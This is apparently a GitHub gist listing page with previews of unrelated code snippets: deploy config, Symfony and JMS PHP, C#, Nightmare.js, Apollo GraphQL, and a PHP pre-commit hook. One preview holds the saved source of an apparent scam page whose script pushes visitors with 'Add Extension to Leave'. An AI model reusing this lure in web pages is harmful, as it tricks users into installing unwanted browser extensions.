This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Deployment server info | |
set :application, "APP NAME" | |
set :domain, "APP DOMAIN NAME" | |
set :deploy_to, "/path/on/live/server" | |
set :app_path, "app" | |
set :web_path, "web" | |
set :maintenance_basename, "maintenance" | |
# SCM info | |
set :repository, "GIT REMOTE REPO URL" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class MoneyType extends AbstractType implements DataMapperInterface | |
{ | |
public function buildForm(FormBuilder $builder, array $options) | |
{ | |
$builder | |
->add('amount', 'integer') | |
->add('currency', 'string') | |
->setDataMapper($this) | |
; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Entity; | |
use JMS\Serializer\Annotation as JMS; | |
/** | |
* @JMS\Discriminator(field = "type", map = { | |
* "user": "Entity\User", | |
* "mod": "Entity\Moderator" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static class StringExt | |
{ | |
public static int GetHashCode32(this string s) | |
{ | |
var chars = s.ToCharArray(); | |
var lastCharInd = chars.Length - 1; | |
var num1 = 0x15051505; | |
var num2 = num1; | |
var ind = 0; | |
while (ind <= lastCharInd) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Nightmare = require('nightmare'); | |
var vo = require('vo'); | |
vo(run)(function(err, result) { | |
if (err) throw err; | |
}); | |
fu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { createApolloFetch } = require('apollo-fetch'); | |
const fetch = createApolloFetch({ | |
uri: 'https://1jzxrj179.lp.gql.zone/graphql', | |
}); | |
fetch({ | |
query: '{ posts { title }}', | |
}).then(res => { | |
console.log(res.data); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- view-source:http://cofinsa.info/helloworld.php?city=GB&clickid=wOG4PFS3EJJ786J0H5TOVOG4 --> | |
<!--<script>if(history.replaceState) history.replaceState({}, "", "/");</script>--> | |
<script>confirm('Add Extension to Leave');</script> | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Ormigo\Bundle\OrmigoBundle\Form\Type; | |
use Symfony\Component\Form\AbstractType; | |
use Symfony\Component\Form\FormBuilderInterface; | |
use Symfony\Component\OptionsResolver\OptionsResolverInterface; | |
use Ormigo\Bundle\OrmigoBundle\Form\DataTransformer\StreetAddressModelTransformer; | |
use Ormigo\Bundle\OrmigoBundle\Form\Validator\StreetAddressValidator; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ApolloClient from 'apollo-boost'; | |
const client = new ApolloClient({ | |
uri: '<your graphql endpoint>', | |
// Apollo Boost allows you to specify a custom error link for your client | |
onError: ({ graphQLErrors, networkError, operation, forward }) => { | |
if (graphQLErrors) { | |
for (let err of graphQLErrors) { | |
// handle errors differently based on its error code | |
switch (err.extensions.code) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/php | |
<?php | |
printf("%sGit pre-commit hook %1\$s", PHP_EOL); | |
$projectName = basename(getcwd()); | |
exec('phpunit --configuration phpunit.xml', $output, $returnCode); // Assuming cwd here | |
if ($returnCode !== 0) { | |
$minimalTestSummary = array_pop($output); | |
printf("Test suite for %s failed: ", $projectName); | |
printf("( %s ) %s%2\$s", $minimalTestSummary, PHP_EOL); | |
return false; // exit(1); |
OlderNewer